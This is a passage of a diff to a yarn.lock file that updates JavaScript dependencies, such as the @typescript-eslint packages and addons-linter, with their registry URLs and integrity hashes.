+"@types/estree@*", "@types/estree@1.0.6", "@types/estree@^1.0.0", "@types/estree@^1.0.6":
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.6.tgz#628effeeae2064a1b4e79f78e81d87b7e5fc7b50"
+  integrity sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==
 
 "@types/express-serve-static-core@*", "@types/express-serve-static-core@^4.17.33":
   version "4.17.35"
@@ -3182,6 +3970,11 @@
   resolved "https://registry.yarnpkg.com/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz#0ea7b61496902b95890dc4c3a116b60cb8dae812"
   integrity sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==
 
+"@types/http-cache-semantics@^4.0.2":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@types/http-cache-semantics/-/http-cache-semantics-4.0.4.tgz#b979ebad3919799c979b17c72621c0bc0a31c6c4"
+  integrity sha512-1m0bIFVc7eJWyve9S0RnuRgcQqF/Xd5QsUZAZeQFr1Q3/p9JWoQQEqmVy+DPTNpGXwhgIetAoYF8JSc33q29QA==
+
 "@types/http-proxy@^1.17.8":
   version "1.17.11"
   resolved "https://registry.yarnpkg.com/@types/http-proxy/-/http-proxy-1.17.11.tgz#0ca21949a5588d55ac2b659b69035c84bd5da293"
@@ -3189,6 +3982,11 @@
   dependencies:
     "@types/node" "*"
 
+"@types/invariant@^2.2.35":
+  version "2.2.37"
+  resolved "https://registry.yarnpkg.com/@types/invariant/-/invariant-2.2.37.tgz#1709741e534364d653c87dff22fc76fa94aa7bc0"
+  integrity sha512-IwpIMieE55oGWiXkQPSBY1nw1nFs6bsKXTFskNY8sdS17K24vyEBRQZEwlRS7ZmXCWnJcQtbxWzly+cODWGs2A==
+
 "@types/istanbul-lib-coverage@*", "@types/istanbul-lib-coverage@^2.0.0", "@types/istanbul-lib-coverage@^2.0.1":
   version "2.0.6"
   resolved "https://registry.yarnpkg.com/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz#7739c232a1fee9b4d3ce8985f314c0c6d33549d7"
@@ -3259,10 +4057,10 @@
   resolved "https://registry.yarnpkg.com/@types/mime/-/mime-1.3.2.tgz#93e25bf9ee75fe0fd80b594bc4feb0e862111b5a"
   integrity sha512-YATxVxgRqNH6nHEIsvg6k2Boc1JHI9ZbH5iWFFv/MTkchz3b1ieGDa5T0a9RznNdI0KhVbdbWSN+KWWrQZRxTw==
 
-"@types/minimatch@^3.0.3":
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-3.0.3.tgz#3dca0e3f33b200fc7d1139c0cd96c1268cadfd9d"
-  integrity sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA==
+"@types/minimatch@^3.0.5":
+  version "3.0.5"
+  resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-3.0.5.tgz#1001cc5e6a3704b83c236027e77f2f58ea010f40"
+  integrity sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==
 
 "@types/node@*":
   version "20.12.11"
@@ -3276,6 +4074,13 @@
   resolved "https://registry.yarnpkg.com/@types/node/-/node-16.18.14.tgz#5465ce598486a703caddbefe8603f8a2cffa3461"
   integrity sha512-wvzClDGQXOCVNU4APPopC2KtMYukaF1MN/W3xAmslx22Z4/IF1/izDMekuyoUlwfnDHYCIZGaj7jMwnJKBTxKw==
 
+"@types/node@^20.2.5":
+  version "20.17.16"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-20.17.16.tgz#b33b0edc1bf925b27349e494b871ca4451fabab4"
+  integrity sha512-vOTpLduLkZXePLxHiHsBLp98mHGnl8RptV4YAO3HfKO5UHjDvySGbxKtpYfy8Sx5+WKcgc45qNreJJRVM3L6mw==
+  dependencies:
+    undici-types "~6.19.2"
+
 "@types/prettier@^1.0.0 || ^2.0.0 || ^3.0.0":
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-3.0.0.tgz#e9bc8160230d3a461dab5c5b41cceef1ef723057"
@@ -3372,10 +4177,10 @@
   resolved "https://registry.yarnpkg.com/@types/yargs-parser/-/yargs-parser-21.0.3.tgz#815e30b786d2e8f0dcd85fd5bcf5e1a04d008f15"
   integrity sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==
 
-"@types/yargs@^16.0.0":
-  version "16.0.4"
-  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-16.0.4.tgz#26aad98dd2c2a38e421086ea9ad42b9e51642977"
-  integrity sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==
+"@types/yargs@^15.0.0":
+  version "15.0.20"
+  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-15.0.20.tgz#6d00a124c9f757427d4ca3cbc87daea778053c68"
+  integrity sha512-KIkX+/GgfFitlASYCGoSF+T4XRXhOubJLhkLVtSfsRTe9jWMmuM2g28zQ41BtPTG7TRBb2xHW+LCNVE9QR/vsg==
   dependencies:
     "@types/yargs-parser" "*"
 
@@ -3386,6 +4191,13 @@
   dependencies:
     "@types/yargs-parser" "*"
 
+"@types/yauzl@2.10.3":
+  version "2.10.3"
+  resolved "https://registry.yarnpkg.com/@types/yauzl/-/yauzl-2.10.3.tgz#e9b2808b4f109504a03cda958259876f61017999"
+  integrity sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==
+  dependencies:
+    "@types/node" "*"
+
 "@types/yauzl@^2.9.1":
   version "2.9.2"
   resolved "https://registry.yarnpkg.com/@types/yauzl/-/yauzl-2.9.2.tgz#c48e5d56aff1444409e39fa164b0b4d4552a7b7a"
@@ -3393,6 +4205,23 @@
   dependencies:
     "@types/node" "*"
 
+"@typescript-eslint/eslint-plugin@^6.21.0":
+  version "6.21.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-6.21.0.tgz#30830c1ca81fd5f3c2714e524c4303e0194f9cd3"
+  integrity sha512-oy9+hTPCUFpngkEZUSzbf9MxI65wbKFoQYsgPdILTfbUldp5ovUuphZVe4i30emU9M/kP+T64Di0mxl7dSw3MA==
+  dependencies:
+    "@eslint-community/regexpp" "^4.5.1"
+    "@typescript-eslint/scope-manager" "6.21.0"
+    "@typescript-eslint/type-utils" "6.21.0"
+    "@typescript-eslint/utils" "6.21.0"
+    "@typescript-eslint/visitor-keys" "6.21.0"
+    debug "^4.3.4"
+    graphemer "^1.4.0"
+    ignore "^5.2.4"
+    natural-compare "^1.4.0"
+    semver "^7.5.4"
+    ts-api-utils "^1.0.1"
+
 "@typescript-eslint/experimental-utils@2.34.0":
   version "2.34.0"
   resolved "https://registry.yarnpkg.com/@typescript-eslint/experimental-utils/-/experimental-utils-2.34.0.tgz#d3524b644cdb40eebceca67f8cf3e4cc9c8f980f"
@@ -3445,15 +4274,26 @@
     "@typescript-eslint/typescript-estree" "4.1.0"
     debug "^4.1.1"
 
-"@typescript-eslint/parser-v5@npm:@typescript-eslint/parser@^5.0.0-0":
-  version "5.0.0-alpha.25"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-5.0.0-alpha.25.tgz#d966eb8b2cf97f0134a5589791017e0a720bb995"
-  integrity sha512-e0Q2fWVXle8l9pCCV2K/pQrn0Wyp8nV/Gp8AbEUqP6xLfgrOxejzcERP9y5x1rnwrp7pPXZhticsNLjqljhh6w==
+"@typescript-eslint/parser-v5@npm:@typescript-eslint/parser@^5.62.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-5.62.0.tgz#1b63d082d849a2fcae8a569248fbe2ee1b8a56c7"
+  integrity sha512-VlJEV0fOQ7BExOsHYAGrgbEiZoi8D+Bl2+f6V2RrXerRSylnp+ZBHmPvaIa8cz0Ajx7WO7Z5RqfgYg7ED1nRhA==
   dependencies:
-    "@typescript-eslint/scope-manager" "5.0.0-alpha.25+faf2d1d2"
-    "@typescript-eslint/types" "5.0.0-alpha.25+faf2d1d2"
-    "@typescript-eslint/typescript-estree" "5.0.0-alpha.25+faf2d1d2"
-    debug "^4.3.1"
+    "@typescript-eslint/scope-manager" "5.62.0"
+    "@typescript-eslint/types" "5.62.0"
+    "@typescript-eslint/typescript-estree" "5.62.0"
+    debug "^4.3.4"
+
+"@typescript-eslint/parser@^6.21.0":
+  version "6.21.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-6.21.0.tgz#af8fcf66feee2edc86bc5d1cf45e33b0630bf35b"
+  integrity sha512-tbsV1jPne5CkFQCgPBcDOt30ItF7aJoZL997JSF7MhGQqOeT3svWRYxiqlfA5RUdlHN6Fi+EI9bxqbdyAUZjYQ==
+  dependencies:
+    "@typescript-eslint/scope-manager" "6.21.0"
+    "@typescript-eslint/types" "6.21.0"
+    "@typescript-eslint/typescript-estree" "6.21.0"
+    "@typescript-eslint/visitor-keys" "6.21.0"
+    debug "^4.3.4"
 
 "@typescript-eslint/scope-manager@4.1.0":
   version "4.1.0"
@@ -3463,13 +4303,13 @@
     "@typescript-eslint/types" "4.1.0"
     "@typescript-eslint/visitor-keys" "4.1.0"
 
-"@typescript-eslint/scope-manager@5.0.0-alpha.25+faf2d1d2":
-  version "5.0.0-alpha.25"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-5.0.0-alpha.25.tgz#eb90cb682f6a3a14ba9afc4bd7c1f66cf362e1b0"
-  integrity sha512-tZumo5HziFbOI+unwQ7Xgimn4FHltg20TCxVCU2tl7YyFhiQl1WxnmhU7/1MUNWXzK9RA88MRKvUON1lgK1FLw==
+"@typescript-eslint/scope-manager@5.62.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-5.62.0.tgz#d9457ccc6a0b8d6b37d0eb252a23022478c5460c"
+  integrity sha512-VXuvVvZeQCQb5Zgf4HAxc04q5j+WrNAtNh9OwCsCgpKqESMTu3tF/jhZ3xG6T4NZwWl65Bg8KuS2uEvhSfLl0w==
   dependencies:
-    "@typescript-eslint/types" "5.0.0-alpha.25+faf2d1d2"
-    "@typescript-eslint/visitor-keys" "5.0.0-alpha.25+faf2d1d2"
+    "@typescript-eslint/types" "5.62.0"
+    "@typescript-eslint/visitor-keys" "5.62.0"
 
 "@typescript-eslint/scope-manager@6.21.0":
   version "6.21.0"
@@ -3479,6 +4319,16 @@
     "@typescript-eslint/types" "6.21.0"
     "@typescript-eslint/visitor-keys" "6.21.0"
 
+"@typescript-eslint/type-utils@6.21.0":
+  version "6.21.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-6.21.0.tgz#6473281cfed4dacabe8004e8521cee0bd9d4c01e"
+  integrity sha512-rZQI7wHfao8qMX3Rd3xqeYSMCL3SoiSQLBATSiVKARdFGCYSRvmViieZjqc58jKgs8Y8i9YvVVhRbHSTA4VBag==
+  dependencies:
+    "@typescript-eslint/typescript-estree" "6.21.0"
+    "@typescript-eslint/utils" "6.21.0"
+    debug "^4.3.4"
+    ts-api-utils "^1.0.1"
+
 "@typescript-eslint/types@3.10.1":
   version "3.10.1"
   resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-3.10.1.tgz#1d7463fa7c32d8a23ab508a803ca2fe26e758727"
@@ -3489,10 +4339,10 @@
   resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-4.1.0.tgz#edbd3fec346f34e13ce7aa176b03b497a32c496a"
   integrity sha512-rkBqWsO7m01XckP9R2YHVN8mySOKKY2cophGM8K5uDK89ArCgahItQYdbg/3n8xMxzu2elss+an1TphlUpDuJw==
 
-"@typescript-eslint/types@5.0.0-alpha.25+faf2d1d2":
-  version "5.0.0-alpha.25"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-5.0.0-alpha.25.tgz#2c5aaaee8d41d08fbb91193cc6df482374700b2e"
-  integrity sha512-M9PZ+m1vD+UaBt+9hJ1bXTA94s4fvY3fOQkwYxrtreqqdzaiNcW8F5GAO3dthzmS+6II+XAsWfCQzCoBvoiOrw==
+"@typescript-eslint/types@5.62.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-5.62.0.tgz#258607e60effa309f067608931c3df6fed41fd2f"
+  integrity sha512-87NVngcbVXUahrRTqIK27gD2t5Cu1yuCXxbLcFtCzZGlfyVWWh8mLHkoxzjsB6DDNnvdL+fW8MiwPEJyGJQDgQ==
 
 "@typescript-eslint/types@6.21.0":
   version "6.21.0"
@@ -3540,17 +4390,17 @@
     semver "^7.3.2"
     tsutils "^3.17.1"
 
-"@typescript-eslint/typescript-estree@5.0.0-alpha.25+faf2d1d2":
-  version "5.0.0-alpha.25"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-5.0.0-alpha.25.tgz#1e9ad3464c93fffb1b17d8cc3e2523ae6add930b"
-  integrity sha512-EIEX4TSWGIBBi9DMZd8FZoI52Ua6hkHj2T8ah83BEBVMS9wCJDZyryuw0PHTesA2ZB5yiQbtNQrrODLJxz1hAw==
+"@typescript-eslint/typescript-estree@5.62.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-5.62.0.tgz#7d17794b77fabcac615d6a48fb143330d962eb9b"
+  integrity sha512-CmcQ6uY7b9y694lKdRB8FEel7JbU/40iSAPomu++SjLMntB+2Leay2LO6i8VnJk58MtE9/nQSFIH6jpyRWyYzA==
   dependencies:
-    "@typescript-eslint/types" "5.0.0-alpha.25+faf2d1d2"
-    "@typescript-eslint/visitor-keys" "5.0.0-alpha.25+faf2d1d2"
-    debug "^4.3.1"
-    globby "^11.0.3"
-    is-glob "^4.0.1"
-    semver "^7.3.5"
+    "@typescript-eslint/types" "5.62.0"
+    "@typescript-eslint/visitor-keys" "5.62.0"
+    debug "^4.3.4"
+    globby "^11.1.0"
+    is-glob "^4.0.3"
+    semver "^7.3.7"
     tsutils "^3.21.0"
 
 "@typescript-eslint/typescript-estree@6.21.0":
@@ -3567,7 +4417,7 @@
     semver "^7.5.4"
     ts-api-utils "^1.0.1"
 
-"@typescript-eslint/utils@^6.0.0":
+"@typescript-eslint/utils@6.21.0", "@typescript-eslint/utils@^6.0.0":
   version "6.21.0"
   resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-6.21.0.tgz#4714e7a6b39e773c1c8e97ec587f520840cd8134"
   integrity sha512-NfWVaC8HP9T8cbKQxHcsJBY5YE1O33+jpMwN45qzWWaPDZgLIbo12toGMWnmhvCpd3sIxkpDw3Wv1B3dYrbDQQ==
@@ -3595,13 +4445,13 @@
     "@typescript-eslint/types" "4.1.0"
     eslint-visitor-keys "^2.0.0"
 
-"@typescript-eslint/visitor-keys@5.0.0-alpha.25+faf2d1d2":
-  version "5.0.0-alpha.25"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-5.0.0-alpha.25.tgz#0b4a909d4020094e638dee1ff72e12d24783c94b"
-  integrity sha512-vh5AIlr3wxkhFMreop5Y1Wi5Sc9oK03J8+SiyKMEEAqwWmk6e2ryHr1001oWRuK4e6d/CjVNa73omERCWcTXTg==
+"@typescript-eslint/visitor-keys@5.62.0":
+  version "5.62.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-5.62.0.tgz#2174011917ce582875954ffe2f6912d5931e353e"
+  integrity sha512-07ny+LHRzQXepkGg6w0mFY41fVUNBrL2Roj/++7V1txKugfjm/Ci/qSND03r2RhlJhJYMcTn9AhhSSqQp0Ysyw==
   dependencies:
-    "@typescript-eslint/types" "5.0.0-alpha.25+faf2d1d2"
-    eslint-visitor-keys "^3.0.0"
+    "@typescript-eslint/types" "5.62.0"
+    eslint-visitor-keys "^3.3.0"
 
 "@typescript-eslint/visitor-keys@6.21.0":
   version "6.21.0"
@@ -3611,6 +4461,11 @@
     "@typescript-eslint/types" "6.21.0"
     eslint-visitor-keys "^3.4.1"
 
+"@ungap/structured-clone@^1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@ungap/structured-clone/-/structured-clone-1.2.0.tgz#756641adb587851b5ccb3e095daf27ae581c8406"
+  integrity sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==
+
 "@vercel/build-utils@2.5.1":
   version "2.5.1"
   resolved "https://registry.yarnpkg.com/@vercel/build-utils/-/build-utils-2.5.1.tgz#2f687c2d82464dd85e0ed8130bc01e5dac9b11a4"
@@ -3791,16 +4646,18 @@ Base64@~0.2.0:
   resolved "https://registry.yarnpkg.com/Base64/-/Base64-0.2.1.tgz#ba3a4230708e186705065e66babdd4c35cf60028"
   integrity sha1-ujpCMHCOGGcFBl5mur3Uw1z2ACg=
 
-JSONSelect@0.2.1:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/JSONSelect/-/JSONSelect-0.2.1.tgz#415418a526d33fe31d74b4defa3c836d485ec203"
-  integrity sha1-QVQYpSbTP+MddLTe+jyDbUhewgM=
-
 abab@^2.0.6:
   version "2.0.6"
   resolved "https://registry.yarnpkg.com/abab/-/abab-2.0.6.tgz#41b80f2c871d19686216b82309231cfd3cb3d291"
   integrity sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==
 
+abort-controller@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/abort-controller/-/abort-controller-3.0.0.tgz#eaf54d53b62bae4138e809ca225c8439a6efb392"
+  integrity sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==
+  dependencies:
+    event-target-shim "^5.0.0"
+
 abortcontroller-polyfill@^1.7.5:
   version "1.7.5"
   resolved "https://registry.yarnpkg.com/abortcontroller-polyfill/-/abortcontroller-polyfill-1.7.5.tgz#6738495f4e901fbb57b6c0611d0c75f76c485bed"
@@ -3827,7 +4684,7 @@ acorn-import-assertions@^1.7.6:
   resolved "https://registry.yarnpkg.com/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz#507276249d684797c84e0734ef84860334cfb1ac"
   integrity sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==
 
-acorn-jsx@^5.0.0, acorn-jsx@^5.2.0:
+acorn-jsx@^5.2.0:
   version "5.3.1"
   resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.1.tgz#fc8661e11b7ac1539c47dbfea2e72b3af34d267b"
   integrity sha512-K0Ptm/47OKfQRpNQ2J/oIN/3QYiK6FwW+eJbILhsdxh2WTLdl+30o8aGdTbm5JbffpFFAg/g+zi1E+jvJha5ng==
@@ -3844,12 +4701,7 @@ acorn-loose@^8.3.0:
   dependencies:
     acorn "^8.5.0"
 
-acorn@^6.0.7:
-  version "6.4.2"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-6.4.2.tgz#35866fd710528e92de10cf06016498e47e39e1e6"
-  integrity sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==
-
-acorn@^7.1.1, acorn@^7.4.0:
+acorn@^7.4.0:
   version "7.4.1"
   resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
   integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==
@@ -3864,85 +4716,89 @@ acorn@^8.5.0, acorn@^8.7.1:
   resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.8.2.tgz#1b2f25db02af965399b9776b0c2c391276d37c4a"
   integrity sha512-xjIYgE8HBrkpd/sJqOGNspf8uHG+NOHGOw6a/Urj8taM2EXfdNAH2oFcPeIFfsv3+kz/mJrS5VuMqbNLjCa2vw==
 
-adbkit-logcat@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/adbkit-logcat/-/adbkit-logcat-1.1.0.tgz#01d7f9b0cef9093a30bcb3b007efff301508962f"
-  integrity sha1-Adf5sM75CTowvLOwB+//MBUIli8=
-
-adbkit-monkey@~1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/adbkit-monkey/-/adbkit-monkey-1.0.1.tgz#f291be701a2efc567a63fc7aa6afcded31430be1"
-  integrity sha1-8pG+cBou/FZ6Y/x6pq/N7TFDC+E=
-  dependencies:
-    async "~0.2.9"
-
-adbkit@2.11.1:
-  version "2.11.1"
-  resolved "https://registry.yarnpkg.com/adbkit/-/adbkit-2.11.1.tgz#7da847fe561254f3121088947bc1907ef053e894"
-  integrity sha512-hDTiRg9NX3HQt7WoDAPCplUpvzr4ZzQa2lq7BdTTJ/iOZ6O7YNAs6UYD8sFAiBEcYHDRIyq3cm9sZP6uZnhvXw==
-  dependencies:
-    adbkit-logcat "^1.1.0"
-    adbkit-monkey "~1.0.1"
-    bluebird "~2.9.24"
-    commander "^2.3.0"
-    debug "~2.6.3"
-    node-forge "^0.7.1"
-    split "~0.3.3"
-
-addons-linter@1.26.0:
-  version "1.26.0"
-  resolved "https://registry.yarnpkg.com/addons-linter/-/addons-linter-1.26.0.tgz#85d2c37edcee2bff7192b45a4fc727656809ca83"
-  integrity sha512-PKytX6qxbZapc076auO0LBhAGuw2z7eyPnYusMgNBPbY72MAXzUCt3AhSbwGhZ43d5Tn/3At5H0xPi31VXG2Mg==
-  dependencies:
-    "@babel/runtime" "7.10.2"
-    ajv "6.12.2"
-    ajv-merge-patch "4.1.0"
-    chalk "4.1.0"
-    cheerio "1.0.0-rc.3"
-    columnify "1.5.4"
-    common-tags "1.8.0"
-    deepmerge "4.2.2"
-    dispensary "0.51.2"
-    es6-promisify "6.1.1"
-    eslint "5.16.0"
-    eslint-plugin-no-unsanitized "3.1.2"
-    eslint-visitor-keys "1.2.0"
-    espree "6.2.1"
+acorn@^8.9.0:
+  version "8.12.1"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.12.1.tgz#71616bdccbe25e27a54439e0046e89ca76df2248"
+  integrity sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg==
+
+addons-linter@6.31.1:
+  version "6.31.1"
+  resolved "https://registry.yarnpkg.com/addons-linter/-/addons-linter-6.31.1.tgz#d502fd1bbad7674540c9dc4828459a001fee04c6"
+  integrity sha512-R9FCyVzqU/h5A2aB1t+jD8t4QKLuLxYqc1FjmjJ0nZrn1qNCna1jFOajt5R1T8pwt0H4WXgT+uwWSD2BdkBzqQ==
+  dependencies:
+    "@fluent/syntax" "0.19.0"
+    "@mdn/browser-compat-data" "5.5.34"
+    addons-moz-compare "1.3.0"
+    addons-scanner-utils "9.11.0"
+    ajv "8.16.0"
+    chalk "4.1.2"
+    cheerio "1.0.0-rc.12"
+    columnify "1.6.0"
+    common-tags "1.8.2"
+    deepmerge "4.3.1"
+    eslint "8.57.0"
+    eslint-plugin-no-unsanitized "4.0.2"
+    eslint-visitor-keys "4.0.0"
+    espree "10.0.1"
     esprima "4.0.1"
-    first-chunk-stream "3.0.0"
-    fluent-syntax "0.13.0"
-    glob "7.1.6"
+    fast-json-patch "3.1.1"
+    glob "10.4.2"
+    image-size "1.1.1"
     is-mergeable-object "1.1.1"
     jed "1.1.1"
-    mdn-browser-compat-data "1.0.25"
+    json-merge-patch "1.0.2"
     os-locale "5.0.0"
-    pino "6.3.2"
-    postcss "7.0.32"
-    probe-image-size "5.0.0"
+    pino "8.20.0"
     relaxed-json "1.0.3"
-    semver "7.3.2"
-    source-map-support "0.5.19"
-    strip-bom-stream "4.0.0"
+    semver "7.6.2"
+    sha.js "2.4.11"
+    source-map-support "0.5.21"
     tosource "1.0.0"
-    upath "1.2.0"
-    whatwg-url "8.1.0"
-    yargs "15.3.1"
+    upath "2.0.1"
+    yargs "17.7.2"
+    yauzl "2.10.0"
+
+addons-moz-compare@1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/addons-moz-compare/-/addons-moz-compare-1.3.0.tgz#9074dce00291cef998c2fba6b462d041cc6b3e36"
+  integrity sha512-/rXpQeaY0nOKhNx00pmZXdk5Mu+KhVlL3/pSBuAYwrxRrNiTvI/9xfQI8Lmm7DMMl+PDhtfAHY/0ibTpdeoQQQ==
+
+addons-scanner-utils@9.11.0:
+  version "9.11.0"
+  resolved "https://registry.yarnpkg.com/addons-scanner-utils/-/addons-scanner-utils-9.11.0.tgz#65ff9aa8a387828db68cbdf7b13a0c6eadf65cec"
+  integrity sha512-X95V8ymnue9EHmOLz3zJTGHvHDFlWKiavlH+kJKOlv2sJDWFvD3TWeJMHJgxS9GKOqT/545mOXvX3vuuGGum+g==
+  dependencies:
+    "@types/yauzl" "2.10.3"
+    common-tags "1.8.2"
+    first-chunk-stream "3.0.0"
+    strip-bom-stream "4.0.0"
+    upath "2.0.1"
     yauzl "2.10.0"
-  optionalDependencies:
-    fsevents "2.1.3"
 
 adm-zip@~0.4.x:
   version "0.4.13"
   resolved "https://registry.yarnpkg.com/adm-zip/-/adm-zip-0.4.13.tgz#597e2f8cc3672151e1307d3e95cddbc75672314a"
   integrity sha512-fERNJX8sOXfel6qCBCMPvZLzENBEhZTzKqg6vrOW5pvoEaQuJhRU4ndTAh6lHOxn1I6jnz2NHra56ZODM751uw==
 
-agent-base@6, agent-base@^6.0.2:
+adm-zip@~0.5.x:
+  version "0.5.14"
+  resolved "https://registry.yarnpkg.com/adm-zip/-/adm-zip-0.5.14.tgz#2c557c0bf12af4311cf6d32970f4060cf8133b2a"
+  integrity sha512-DnyqqifT4Jrcvb8USYjp6FHtBpEIz1mnXu6pTRHZ0RL69LbQYiO+0lDFg5+OKA7U29oWSs3a/i8fhn8ZcceIWg==
+
+agent-base@6:
   version "6.0.2"
   resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-6.0.2.tgz#49fff58577cfee3f37176feab4c22e00f86d7f77"
   integrity sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==
   dependencies:
     debug "4"
 
+agent-base@^7.0.2:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-7.1.1.tgz#bdbded7dfb096b751a2a087eeeb9664725b2e317"
+  integrity sha512-H0TSyFNDMomMNJQBn8wFV5YC/2eJ+VXECwOadZJT554xP6cODZHPX3H9QMQECxvrgiSOP1pHjy1sMWQVYJOUOA==
+  dependencies:
+    debug "^4.3.4"
+
 ajv-errors@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/ajv-errors/-/ajv-errors-1.0.1.tgz#f35986aceb91afadec4102fbd85014950cefa64d"
@@ -3972,15 +4828,17 @@ ajv-keywords@^5.1.0:
   dependencies:
     fast-deep-equal "^3.1.3"
 
-ajv-merge-patch@4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/ajv-merge-patch/-/ajv-merge-patch-4.1.0.tgz#cd580e5860ac53431d6aa901fa3d5e2eb2b74a6c"
-  integrity sha512-0mAYXMSauA8RZ7r+B4+EAOYcZEcO9OK5EiQCR7W7Cv4E44pJj56ZnkKLJ9/PAcOc0dT+LlV9fdDcq2TxVJfOYw==
+ajv@8.16.0:
+  version "8.16.0"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-8.16.0.tgz#22e2a92b94f005f7e0f9c9d39652ef0b8f6f0cb4"
+  integrity sha512-F0twR8U1ZU67JIEtekUcLkXkoO5mMMmgGD8sK/xUFzJ805jxHQl92hImFAqqXMyMYjSPOyUPAwHYhB72g5sTXw==
   dependencies:
-    fast-json-patch "^2.0.6"
-    json-merge-patch "^0.2.3"
+    fast-deep-equal "^3.1.3"
+    json-schema-traverse "^1.0.0"
+    require-from-string "^2.0.2"
+    uri-js "^4.4.1"
 
-ajv@6.12.2, ajv@^6.1.0:
+ajv@^6.1.0:
   version "6.12.2"
   resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.2.tgz#c629c5eced17baf314437918d2da88c99d5958cd"
   integrity sha512-k+V+hzjm5q/Mr8ef/1Y9goCmlsK4I6Sm74teeyGvFk1XrOsbsKLjEdrvny42CZ+a8sXbk8KWpY/bDwS+FLL2UQ==
